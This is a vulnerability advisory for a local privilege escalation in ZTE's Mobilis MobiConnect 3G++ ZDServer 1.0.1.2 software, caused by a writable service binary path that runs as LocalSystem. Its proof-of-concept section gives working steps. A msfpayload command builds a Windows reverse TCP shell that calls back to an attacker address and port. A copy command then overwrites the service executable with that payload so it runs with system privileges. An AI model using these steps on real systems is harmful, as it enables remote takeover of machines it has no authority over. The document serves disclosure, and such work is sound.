Discovery Status:
=================
Published


Affected Product(s):
====================
ZTE Corporation
Product: Mobilis 3g MobiConnect 3G++ ZDServer - Software 1.0.1.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A local privilege escalation vulnerability has been discovered in the official ZTE Mobilis 3g MobiConnect 3G++ ZDServer v1.0.1.2 software.
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.

The vulnerability could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. 
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications 
where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges 
of the application. 

The security risk of the privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. Exploitation of 
the vulnerability requires a local privileged systen user account without user for interaction. Successful exploitation of the privilege escalation web 
vulnerability results in software- or system compromise.


Proof of Concept (PoC):
=======================
The local vulnerability can be exploited by local attackers with restricted system privileges and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Before we go over to action we need to check the status of the ZDserv service. In this case we can see
it is set to "AUTO_START" so it will launch

C:\Windows\system32>sc qc ZDserv
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ZDserv
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)

        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : ZDServ
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem



root@samir:~# msfpayload windows/shell_reverse_tcp lhost='192.168.1.5' lport='4433' X  >  C:\Users\s-dz\Desktop\evil-ZDserv.exe



C:\Users\s-dz\Desktop>copy evil-ZDserv.exe C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe
Remplacer C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe (Oui/Non/Tous) : o

and later we will open cmd with administrator
